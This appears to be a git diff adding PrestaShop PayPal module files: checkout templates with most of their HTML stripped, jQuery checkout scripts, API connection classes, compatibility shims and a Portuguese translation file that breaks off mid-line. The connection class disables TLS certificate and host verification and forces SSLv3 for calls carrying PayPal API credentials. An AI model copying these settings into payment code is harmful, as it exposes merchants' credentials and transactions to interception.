Property of PrestaShop SA +*} + +{if $smarty.const._PS_VERSION_ >= 1.6} + + + + +{else} +

        + + {if isset($use_mobile) && $use_mobile} + + {else} + {if isset($logos.LocalPayPalHorizontalSolutionPP) && $PayPal_payment_method == $PayPal_integral} + {$PayPal_content.payment_choice|escape:'htmlall':'UTF-8'} + {else} + {$PayPal_content.payment_choice|escape:'htmlall':'UTF-8'} + {/if} + {$PayPal_content.payment_choice} + {/if} + + +

        + +{/if} + +
        + + + +
        \ No newline at end of file diff --git a/modules/paypal/views/templates/hook/express_checkout_shortcut_button.tpl b/modules/paypal/views/templates/hook/express_checkout_shortcut_button.tpl new file mode 100755 index 0000000..0022e6e --- /dev/null +++ b/modules/paypal/views/templates/hook/express_checkout_shortcut_button.tpl @@ -0,0 +1,38 @@ +{* +* 2007-2014 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2014 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +
        + {if isset($use_mobile) && $use_mobile} +
        + +
        + {else} + + {/if} + {if isset($include_form) && $include_form} + {include file="$template_dir./express_checkout_shortcut_form.tpl"} + {/if} +
        +
        diff --git a/modules/paypal/views/templates/hook/express_checkout_shortcut_form.tpl b/modules/paypal/views/templates/hook/express_checkout_shortcut_form.tpl new file mode 100755 index 0000000..a9eefea --- /dev/null +++ b/modules/paypal/views/templates/hook/express_checkout_shortcut_form.tpl @@ -0,0 +1,35 @@ +{* +* 2007-2014 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2014 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +
        + {if isset($smarty.get.id_product)}{/if} + + + + + + +
        + diff --git a/modules/paypal/views/templates/hook/index.php b/modules/paypal/views/templates/hook/index.php new file mode 100755 index 0000000..236beed --- /dev/null +++ b/modules/paypal/views/templates/hook/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2014 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/paypal/views/templates/hook/integral_evolution_payment.tpl b/modules/paypal/views/templates/hook/integral_evolution_payment.tpl new file mode 100755 index 0000000..3f51b8a --- /dev/null +++ b/modules/paypal/views/templates/hook/integral_evolution_payment.tpl @@ -0,0 +1,122 @@ +{* +* 2007-2014 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2014 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + +{*Displaying a button or the iframe*} +{if $payment_hss_solution == $smarty.const.PAYPAL_HSS_REDIRECTION} + {if $smarty.const._PS_VERSION_ >= 1.6} + + + {else} +

        + + + {$PayPal_content.payment_choice|escape:'htmlall':'UTF-8'} + {$PayPal_content.payment_choice|escape:'htmlall':'UTF-8'} + +

        + {/if} +{else} + {if $smarty.const._PS_VERSION_ >= 1.6} +
        +
        +

        + +

        +
        +
        + {else} +
        + + {/if} +{/if} + + + + + +{if $payment_hss_solution == $smarty.const.PAYPAL_HSS_IFRAME} +{literal} + +{/literal} +{/if} diff --git a/modules/paypal/views/templates/hook/paypal.js b/modules/paypal/views/templates/hook/paypal.js new file mode 100755 index 0000000..e449f4e --- /dev/null +++ b/modules/paypal/views/templates/hook/paypal.js @@ -0,0 +1,138 @@ +{literal} + +$(document).ready( function() { + + $('#payment_paypal_express_checkout').click(function() { + $('#paypal_payment_form').submit(); + return false; + }); + + $('#paypal_payment_form').live('submit', function() { + var nb = $('#quantity_wanted').val(); + var id = $('#idCombination').val(); + + $('#paypal_payment_form input[name=quantity]').val(nb); + $('#paypal_payment_form input[name=id_p_attr]').val(id); + }); + + function displayExpressCheckoutShortcut() { + var id_product = $('input[name="id_product"]').val(); + var id_product_attribute = $('input[name="id_product_attribute"]').val(); + + $.ajax({ + type: "GET", + url: baseDir+'/modules/paypal/express_checkout/ajax.php', + data: { get_qty: "1", id_product: id_product, id_product_attribute: id_product_attribute }, + cache: false, + success: function(result) { + if (result == '1') { + $('#container_express_checkout').slideDown(); + } else { + $('#container_express_checkout').slideUp(); + } + return true; + } + }); + } + + $('select[name^="group_"]').change(function () { + displayExpressCheckoutShortcut(); + }); + + $('.color_pick').click(function () { + displayExpressCheckoutShortcut(); + }); + + {/literal} + {if isset($paypal_authorization)} + {literal} + + /* 1.5 One page checkout*/ + var qty = $('.qty-field.cart_quantity_input').val(); + $('.qty-field.cart_quantity_input').after(qty); + $('.qty-field.cart_quantity_input, .cart_total_bar, .cart_quantity_delete, #cart_voucher *').remove(); + + var br = $('.cart > a').prev(); + br.prev().remove(); + br.remove(); + $('.cart.ui-content > a').remove(); + + var gift_fieldset = $('#gift_div').prev(); + var gift_title = gift_fieldset.prev(); + $('#gift_div, #gift_mobile_div').remove(); + gift_fieldset.remove(); + gift_title.remove(); + + {/literal} + {/if} + {if isset($paypal_confirmation)} + {literal} + + $('#container_express_checkout').hide(); + + $('#cgv').live('click', function() { + if ($('#cgv:checked').length != 0) + $(location).attr('href', '{/literal}{$paypal_confirmation}{literal}'); + }); + + // old jQuery compatibility + $('#cgv').click(function() { + if ($('#cgv:checked').length != 0) + $(location).attr('href', '{/literal}{$paypal_confirmation}{literal}'); + }); + + {/literal} + {else if isset($paypal_order_opc)} + {literal} + + $('#cgv').live('click', function() { + if ($('#cgv:checked').length != 0) + checkOrder(); + }); + + // old jQuery compatibility + $('#cgv').click(function() { + if ($('#cgv:checked').length != 0) + checkOrder(); + }); + + {/literal} + {/if} + {literal} + + var modulePath = 'modules/paypal'; + var subFolder = '/integral_evolution'; + var fullPath = baseDir + modulePath + subFolder; + var confirmTimer = false; + + if ($('form[target="hss_iframe"]').length == 0) { + if ($('select[name^="group_"]').length > 0) + displayExpressCheckoutShortcut(); + return false; + } else { + checkOrder(); + } + + function checkOrder() { + if(confirmTimer == false) + confirmTimer = setInterval(getOrdersCount, 1000); + } + + {/literal}{if isset($id_cart)}{literal} + function getOrdersCount() { + clearInterval(confirmTimer); + $.get( + fullPath + '/confirm.php', + { id_cart: '{/literal}{$id_cart}{literal}' }, + function (data) { + if ((typeof(data) != 'undefined') && (data > 0)) { + window.location.replace(fullPath + '/submit.php?id_cart={/literal}{$id_cart}{literal}'); + $('p.payment_module, p.cart_navigation').hide(); + } + } + ); + } + {/literal}{/if}{literal} +}); + +{/literal} diff --git a/modules/paypal/views/templates/index.php b/modules/paypal/views/templates/index.php new file mode 100755 index 0000000..236beed --- /dev/null +++ b/modules/paypal/views/templates/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2014 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/paypal2/about.php b/modules/paypal2/about.php new file mode 100755 index 0000000..9a442b9 --- /dev/null +++ b/modules/paypal2/about.php @@ -0,0 +1,42 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +require_once(dirname(__FILE__).'/../../config/config.inc.php'); +require_once(dirname(__FILE__).'/../../init.php'); + +include_once(dirname(__FILE__).'/paypal.php'); +include_once(dirname(__FILE__).'/backward_compatibility/Display.php'); + +$paypal = new PayPal(); + +$id_lang = (int)($cookie->id_lang ? $cookie->id_lang : Configuration::get('PS_LANG_DEFAULT')); +$iso_lang = Tools::strtolower(Language::getIsoById($id_lang)); + +$paypal->context->smarty->assign('iso_code', $iso_lang); + +$display = new BWDisplay(); +$display->setTemplate(_PS_MODULE_DIR_.'paypal/views/templates/front/about.tpl'); +$display->run(); diff --git a/modules/paypal2/api/index.php b/modules/paypal2/api/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/modules/paypal2/api/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/paypal2/api/paypal_connect.php b/modules/paypal2/api/paypal_connect.php new file mode 100755 index 0000000..e77bbc2 --- /dev/null +++ b/modules/paypal2/api/paypal_connect.php @@ -0,0 +1,135 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class PayPalConnect +{ + private $_logs = array(); + + private $paypal = null; + + public function __construct() + { + $this->paypal = new PayPal(); + } + + public function makeConnection($host, $script, $body, $simple_mode = false) + { + $this->_logs[] = $this->paypal->l('Making new connection to').' \''.$host.$script.'\''; + + if (function_exists('curl_exec')) + $return = $this->_connectByCURL($host.$script, $body); + + if (isset($return) && $return) + return $return; + + $tmp = $this->_connectByFSOCK($host, $script, $body); + + if (!$simple_mode || !preg_match('/[A-Z]+=/', $tmp, $result)) + return $tmp; + + return substr($tmp, strpos($tmp, $result[0])); + } + + public function getLogs() + { + return $this->_logs; + } + + /************************************************************/ + /********************** CONNECT METHODS *********************/ + /************************************************************/ + private function _connectByCURL($url, $body) + { + $ch = @curl_init(); + + if (!$ch) + $this->_logs[] = $this->paypal->l('Connect failed with CURL method'); + else + { + $this->_logs[] = $this->paypal->l('Connect with CURL method successful'); + $this->_logs[] = ''.$this->paypal->l('Sending this params:').''; + $this->_logs[] = $body; + + @curl_setopt($ch, CURLOPT_URL, 'https://'.$url); + @curl_setopt($ch, CURLOPT_POST, true); + @curl_setopt($ch, CURLOPT_POSTFIELDS, $body); + @curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); + @curl_setopt($ch, CURLOPT_HEADER, false); + @curl_setopt($ch, CURLOPT_TIMEOUT, 30); + @curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); + @curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); + @curl_setopt($ch, CURLOPT_SSLVERSION, 3); + @curl_setopt($ch, CURLOPT_VERBOSE, true); + + $result = @curl_exec($ch); + + if (!$result) + $this->_logs[] = $this->paypal->l('Send with CURL method failed ! Error:').' '.curl_error($ch); + else + $this->_logs[] = $this->paypal->l('Send with CURL method successful'); + + @curl_close($ch); + } + return $result ? $result : false; + } + + private function _connectByFSOCK($host, $script, $body) + { + $fp = @fsockopen('sslv3://'.$host, 443, $errno, $errstr, 4); + + if (!$fp) + $this->_logs[] = $this->paypal->l('Connect failed with fsockopen method'); + else + { + $header = $this->_makeHeader($host, $script, strlen($body)); + $this->_logs[] = $this->paypal->l('Connect with fsockopen method successful'); + $this->_logs[] = $this->paypal->l('Sending this params:').' '.$header.$body; + + @fputs($fp, $header.$body); + + $tmp = ''; + while (!feof($fp)) + $tmp .= trim(fgets($fp, 1024)); + + fclose($fp); + + if (!isset($result) || $result == false) + $this->_logs[] = $this->paypal->l('Send with fsockopen method failed !'); + else + $this->_logs[] = $this->paypal->l('Send with fsockopen method successful'); + } + return $tmp ? $tmp : false; + } + + private function _makeHeader($host, $script, $lenght) + { + return 'POST '.(string)$script.' HTTP/1.0'."\r\n". + 'Host: '.(string)$host."\r\n". + 'Content-Type: application/x-www-form-urlencoded'."\r\n". + 'Content-Length: '.(int)$lenght."\r\n". + 'Connection: close'."\r\n\r\n"; + } +} diff --git a/modules/paypal2/api/paypal_lib.php b/modules/paypal2/api/paypal_lib.php new file mode 100755 index 0000000..6697f5b --- /dev/null +++ b/modules/paypal2/api/paypal_lib.php @@ -0,0 +1,99 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +include_once(_PS_MODULE_DIR_.'paypal/api/paypal_connect.php'); + +define('PAYPAL_API_VERSION', '94.0'); + +class PaypalLib +{ + private $_logs = array(); + + protected $paypal = null; + + public function __construct() + { + $this->paypal = new PayPal(); + } + + public function getLogs() + { + return $this->_logs; + } + + public function makeCall($host, $script, $methodName, $data, $method_version = '') + { + // Making request string + $method_version = (!empty($method_version)) ? $method_version : PAYPAL_API_VERSION; + + $params = array( + 'METHOD' => $methodName, + 'VERSION' => $method_version, + 'PWD' => Configuration::get('PAYPAL_API_PASSWORD'), + 'USER' => Configuration::get('PAYPAL_API_USER'), + 'SIGNATURE' => Configuration::get('PAYPAL_API_SIGNATURE') + ); + + $request = http_build_query($params, '', '&'); + $request .= '&'.(!is_array($data) ? $data : http_build_query($data, '', '&')); + + // Making connection + $result = $this->makeSimpleCall($host, $script, $request, true); + $response = explode('&', $result); + + foreach ($response as $value) + { + $tmp = explode('=', $value); + $return[$tmp[0]] = urldecode(!isset($tmp[1]) ? $tmp[0] : $tmp[1]); + } + + if (!Configuration::get('PAYPAL_DEBUG_MODE')) + $this->_logs = array(); + + $toExclude = array('TOKEN', 'SUCCESSPAGEREDIRECTREQUESTED', 'VERSION', 'BUILD', 'ACK', 'CORRELATIONID'); + $this->_logs[] = ''.$this->paypal->l('PayPal response:').''; + + foreach ($return as $key => $value) + { + if (!Configuration::get('PAYPAL_DEBUG_MODE') && in_array($key, $toExclude)) + continue; + $this->_logs[] = $key.' -> '.$value; + } + + return $return; + } + + public function makeSimpleCall($host, $script, $request, $simple_mode = false) + { + // Making connection + $paypal_connect = new PayPalConnect(); + + $result = $paypal_connect->makeConnection($host, $script, $request, $simple_mode); + $this->_logs = $paypal_connect->getLogs(); + + return $result; + } +} diff --git a/modules/paypal2/backward_compatibility/Context.php b/modules/paypal2/backward_compatibility/Context.php new file mode 100755 index 0000000..0a7b372 --- /dev/null +++ b/modules/paypal2/backward_compatibility/Context.php @@ -0,0 +1,347 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if ((bool)Configuration::get('PS_MOBILE_DEVICE')) + require_once(_PS_MODULE_DIR_ . '/mobile_theme/Mobile_Detect.php'); + +// Retro 1.3, 'class_exists' cause problem with autoload... +if (version_compare(_PS_VERSION_, '1.4', '<')) +{ + // Not exist for 1.3 + class Shop extends ObjectModel + { + public $id = 1; + public $id_shop_group = 1; + + public function __construct() + { + } + + + public static function getShops() + { + return array( + array('id_shop' => 1, 'name' => 'Default shop') + ); + } + + public static function getCurrentShop() + { + return 1; + } + } + + class Logger + { + public static function AddLog($message, $severity = 2) + { + $fp = fopen(dirname(__FILE__).'/../logs.txt', 'a+'); + fwrite($fp, '['.(int)$severity.'] '.Tools::safeOutput($message)); + fclose($fp); + } + } + +} + +// Not exist for 1.3 and 1.4 +class Context +{ + /** + * @var Context + */ + protected static $instance; + + /** + * @var Cart + */ + public $cart; + + /** + * @var Customer + */ + public $customer; + + /** + * @var Cookie + */ + public $cookie; + + /** + * @var Link + */ + public $link; + + /** + * @var Country + */ + public $country; + + /** + * @var Employee + */ + public $employee; + + /** + * @var Controller + */ + public $controller; + + /** + * @var Language + */ + public $language; + + /** + * @var Currency + */ + public $currency; + + /** + * @var AdminTab + */ + public $tab; + + /** + * @var Shop + */ + public $shop; + + /** + * @var Smarty + */ + public $smarty; + + /** + * @ var Mobile Detect + */ + public $mobile_detect; + + /** + * @var boolean|string mobile device of the customer + */ + protected $mobile_device; + + public function __construct() + { + global $cookie, $cart, $smarty, $link; + + $this->tab = null; + + $this->cookie = $cookie; + $this->cart = $cart; + $this->smarty = $smarty; + $this->link = $link; + + $this->controller = new ControllerBackwardModule(); + if (is_object($cookie)) + { + $this->currency = new Currency((int)$cookie->id_currency); + $this->language = new Language((int)$cookie->id_lang); + $this->country = new Country((int)$cookie->id_country); + $this->customer = new CustomerBackwardModule((int)$cookie->id_customer); + $this->employee = new Employee((int)$cookie->id_employee); + } + else + { + $this->currency = null; + $this->language = null; + $this->country = null; + $this->customer = null; + $this->employee = null; + } + + $this->shop = new ShopBackwardModule(); + + if ((bool)Configuration::get('PS_MOBILE_DEVICE')) + $this->mobile_detect = new Mobile_Detect(); + } + + public function getMobileDevice() + { + if (is_null($this->mobile_device)) + { + $this->mobile_device = false; + if ($this->checkMobileContext()) + { + switch ((int)Configuration::get('PS_MOBILE_DEVICE')) + { + case 0: // Only for mobile device + if ($this->mobile_detect->isMobile() && !$this->mobile_detect->isTablet()) + $this->mobile_device = true; + break; + case 1: // Only for touchpads + if ($this->mobile_detect->isTablet() && !$this->mobile_detect->isMobile()) + $this->mobile_device = true; + break; + case 2: // For touchpad or mobile devices + if ($this->mobile_detect->isMobile() || $this->mobile_detect->isTablet()) + $this->mobile_device = true; + break; + } + } + } + + return $this->mobile_device; + } + + protected function checkMobileContext() + { + return isset($_SERVER['HTTP_USER_AGENT']) + && (bool)Configuration::get('PS_MOBILE_DEVICE') + && !Context::getContext()->cookie->no_mobile; + } + + /** + * Get a singleton context + * + * @return Context + */ + public static function getContext() + { + if (!isset(self::$instance)) + self::$instance = new Context(); + return self::$instance; + } + + /** + * Clone current context + * + * @return Context + */ + public function cloneContext() + { + return clone($this); + } + + /** + * @return int Shop context type (Shop::CONTEXT_ALL, etc.) + */ + public static function shop() + { + if (!self::$instance->shop->getContextType()) + return ShopBackwardModule::CONTEXT_ALL; + return self::$instance->shop->getContextType(); + } +} + +/** + * Class Shop for Backward compatibility + */ +class ShopBackwardModule extends Shop +{ + const CONTEXT_ALL = 1; + + public $id = 1; + public $id_shop_group = 1; + + + public function getContextType() + { + return ShopBackwardModule::CONTEXT_ALL; + } + + // Simulate shop for 1.3 / 1.4 + public function getID() + { + return 1; + } + + /** + * Get shop theme name + * + * @return string + */ + public function getTheme() + { + return _THEME_NAME_; + } + + public function isFeatureActive() + { + return false; + } +} + +/** + * Class Controller for a Backward compatibility + * Allow to use method declared in 1.5 + */ +class ControllerBackwardModule +{ + /** + * @param $js_uri + * @return void + */ + public function addJS($js_uri) + { + Tools::addJS($js_uri); + } + + /** + * @param $css_uri + * @param string $css_media_type + * @return void + */ + public function addCSS($css_uri, $css_media_type = 'all') + { + Tools::addCSS($css_uri, $css_media_type); + } + + public function addJquery() + { + if (_PS_VERSION_ < '1.5') + $this->addJS(_PS_JS_DIR_.'jquery/jquery-1.4.4.min.js'); + elseif (_PS_VERSION_ >= '1.5') + $this->addJS(_PS_JS_DIR_.'jquery/jquery-1.7.2.min.js'); + } + +} + +/** + * Class Customer for a Backward compatibility + * Allow to use method declared in 1.5 + */ +class CustomerBackwardModule extends Customer +{ + public $logged = false; + /** + * Check customer informations and return customer validity + * + * @since 1.5.0 + * @param boolean $with_guest + * @return boolean customer validity + */ + public function isLogged($with_guest = false) + { + if (!$with_guest && $this->is_guest == 1) + return false; + + /* Customer is valid only if it can be load and if object password is the same as database one */ + if ($this->logged == 1 && $this->id && Validate::isUnsignedId($this->id) && Customer::checkPassword($this->id, $this->passwd)) + return true; + return false; + } +} diff --git a/modules/paypal2/backward_compatibility/Display.php b/modules/paypal2/backward_compatibility/Display.php new file mode 100755 index 0000000..3d0ae2d --- /dev/null +++ b/modules/paypal2/backward_compatibility/Display.php @@ -0,0 +1,24 @@ += '1.5') + parent::setTemplate($template); + else + $this->template = $template; + } + + // Overload displayContent for 1.4 + public function displayContent() + { + parent::displayContent(); + + echo Context::getContext()->smarty->fetch($this->template); + } +} \ No newline at end of file diff --git a/modules/paypal2/backward_compatibility/backward.ini b/modules/paypal2/backward_compatibility/backward.ini new file mode 100755 index 0000000..6520fb7 --- /dev/null +++ b/modules/paypal2/backward_compatibility/backward.ini @@ -0,0 +1 @@ +version = 0.4 \ No newline at end of file diff --git a/modules/paypal2/backward_compatibility/backward.php b/modules/paypal2/backward_compatibility/backward.php new file mode 100755 index 0000000..64ceb1f --- /dev/null +++ b/modules/paypal2/backward_compatibility/backward.php @@ -0,0 +1,55 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * Backward function compatibility + * Need to be called for each module in 1.4 + */ + +// Get out if the context is already defined +if (!in_array('Context', get_declared_classes())) + require_once(dirname(__FILE__).'/Context.php'); + +// Get out if the Display (BWDisplay to avoid any conflict)) is already defined +if (!in_array('BWDisplay', get_declared_classes())) + require_once(dirname(__FILE__).'/Display.php'); + +// If not under an object we don't have to set the context +if (!isset($this)) + return; +else if (isset($this->context)) +{ + // If we are under an 1.5 version and backoffice, we have to set some backward variable + if (_PS_VERSION_ >= '1.5' && isset($this->context->employee->id) && $this->context->employee->id) + { + global $currentIndex; + $currentIndex = AdminController::$currentIndex; + } + return; +} + +$this->context = Context::getContext(); +$this->smarty = $this->context->smarty; \ No newline at end of file diff --git a/modules/paypal2/backward_compatibility/index.php b/modules/paypal2/backward_compatibility/index.php new file mode 100755 index 0000000..319128b --- /dev/null +++ b/modules/paypal2/backward_compatibility/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/paypal2/br.php b/modules/paypal2/br.php new file mode 100755 index 0000000..739424b --- /dev/null +++ b/modules/paypal2/br.php @@ -0,0 +1,133 @@ +paypal_abstract_ad69e733ebae8d264bccaa38d68830e8'] = 'Paypal'; +$_MODULE['<{paypal}prestashop>paypal_abstract_6e7012516038a096b9f6bb71ba2cc5a3'] = 'Aceita pagamentos por cartão de crédito (CB, Visa, MasterCard, Amex, Aurore, Cofinoga, 4 stars) com Paypal.'; +$_MODULE['<{paypal}prestashop>paypal_abstract_69a1a3ad8dd5da6db3c4da838a0cf9c7'] = 'Você tem certeza que você quer deletar seus dados?'; +$_MODULE['<{paypal}prestashop>paypal_abstract_c91f1fb5e06286c3e0a33fc552dffbea'] = 'Você deve definir suas credenciais do PayPal Integral, para que o tema de telefonia móvel funcione corretamente.'; +$_MODULE['<{paypal}prestashop>paypal_abstract_bd6b3cca1e559117a964cdfab6a977cf'] = 'O tema de telefonia móvel somente funciona com o módulo de pagamento Paypal neste momento. Por favor, ative o módulo para permitir pagamentos. '; +$_MODULE['<{paypal}prestashop>paypal_abstract_ea5eb3f904bf42377277255cbd0e2251'] = 'Para funcionar corretamente o módulo requer o módulo de compatibilidade com versões anteriores habilitado'; +$_MODULE['<{paypal}prestashop>paypal_abstract_48878e69ef59b9e9d2d9a8c18e4de520'] = 'Para funcionar corretamente o módulo requer pelo menos o módulo de compatibilidade com versões anteriores v'; +$_MODULE['<{paypal}prestashop>paypal_abstract_c9d8a8d3c76c69e9a5ba6387acb8655a'] = 'Para usar o módulo você precisa instalar o módulo de compatibilidade com versões anteriores.'; +$_MODULE['<{paypal}prestashop>paypal_abstract_d739f6e2d6351c3a587d44190a8253af'] = 'Todos recursos do módulo API do Paypal estão incluídos no novo módulo Paypal. Para que não haja nenhum conflito, por favor, não use e remova o módulo PaypalAPI.'; +$_MODULE['<{paypal}prestashop>paypal_abstract_32af90c3cfef1bacf43b0c3a8f60a4da'] = 'Fundos foram recuperados.'; +$_MODULE['<{paypal}prestashop>paypal_abstract_d238649ac5ec14afc894fad36c0b50fc'] = 'Sem sucesso na recuperação dos fundos solicitados. Por favor, veja mensagem de registro!'; +$_MODULE['<{paypal}prestashop>paypal_abstract_05b998de2c4fb46a7bdd37bd378b81d9'] = 'Validação bem sucedida. Por favor, veja mensagem de registro!'; +$_MODULE['<{paypal}prestashop>paypal_abstract_aeca7e93a1b3d77e38c3cffa131774d5'] = 'Reembolso foi efetuado.'; +$_MODULE['<{paypal}prestashop>paypal_abstract_cba030a50c8a99c7e224adbe1cf58544'] = 'Reembolso solicitado sem sucesso. Por favor, veja mensagem de registro!'; +$_MODULE['<{paypal}prestashop>paypal_abstract_20fda49ece75d93bea97648ab1f1f1cf'] = 'Resultado de cancelamento de produtos:'; +$_MODULE['<{paypal}prestashop>paypal_abstract_90ab0cfd410722553c79e614207a789a'] = 'Alguns campos estão vazios.'; +$_MODULE['<{paypal}prestashop>paypal_abstract_ce0e2b401002ca796d2e8aca7deb8f00'] = 'Campos de credenciais não podem estar vazios'; +$_MODULE['<{paypal}prestashop>paypal_abstract_3f7145179c909f0e87a911a3171986b6'] = 'Campo para e-mail comercial não pode estar vazio'; +$_MODULE['<{paypal}prestashop>paypal_abstract_e5d5d9f40763cfe6549bef705e3529a7'] = 'Mensagem de pagamento não é válida, por favor verifique seu módulo.'; +$_MODULE['<{paypal}prestashop>paypal_abstract_ee9dc1e678d54c517f481583c3fb2db8'] = 'Não é uma moeda válida'; +$_MODULE['<{paypal}prestashop>paypal_abstract_eec39bf42bd135971fb2d838c67d1449'] = 'Resultado de operação de reembolso:'; +$_MODULE['<{paypal}prestashop>paypal_abstract_2ab62d1a578713d0862b56819295630e'] = 'Reembolso do Paypal efetuado com sucesso!'; +$_MODULE['<{paypal}prestashop>paypal_abstract_a64db959966ba8d07c8b5d9493fcc21f'] = 'Erro de transação!'; +$_MODULE['<{paypal}prestashop>paypal_abstract_67962779da962e3d4225055afc05e7bd'] = 'Resultado de operação de captura:'; +$_MODULE['<{paypal}prestashop>paypal_abstract_8778ee03f6592d5fec9a1f2ee851e476'] = 'Terminado o pedido com Paypal'; +$_MODULE['<{paypal}prestashop>paypal_abstract_672d40feac6437e49f771019bc330790'] = 'Status de verificação:'; +$_MODULE['<{paypal}prestashop>paypal_abstract_1828820cc60e36b6f9fdf60cab103ed7'] = 'Você está usando o e-mail padrão que vem com o Paypal, por favor coloque seu próprio e-mail.'; +$_MODULE['<{paypal}prestashop>validation_20dfea1a472e5be3f15f6b5f36ca335c'] = 'Problema conectando com o servidor do Paypal.'; +$_MODULE['<{paypal}prestashop>validation_f7799c2ded739cf3c3e9babffc5f315b'] = 'Conexão usando cURL falhou'; +$_MODULE['<{paypal}prestashop>validation_eca77e208634d52703b07672abbf16ec'] = 'Falha na verificação (usando cURL). Retornou:'; +$_MODULE['<{paypal}prestashop>validation_8358ec19f397d4cdd632688d4f79e535'] = 'Falha na verificação (usando fsockopen). Retornou:'; +$_MODULE['<{paypal}prestashop>validation_76ee8dc73701e846f7bccdf98dae079b'] = 'Sem transporte de comunicação disponível.'; +$_MODULE['<{paypal}prestashop>validation_2818bed1f235637049f4d46fd455dc1c'] = 'A chave Paypal \'mc_gross\' não foi especificada, não pode controlar a quantia paga.'; +$_MODULE['<{paypal}prestashop>validation_be59cbfbf305dc45cd0c3e9841b17ecf'] = 'A chave Paypal \'payment_status\' não foi especificada, não pode controlar a validade de pagamento'; +$_MODULE['<{paypal}prestashop>validation_bd0e34e5be6447844e6f262d51f1a9dc'] = 'Pagamento:'; +$_MODULE['<{paypal}prestashop>validation_e0395c4ce35d0b1e59ca3f2d5e260d23'] = 'A chave Paypal \'custom\' não foi especificada, não pode transmitir 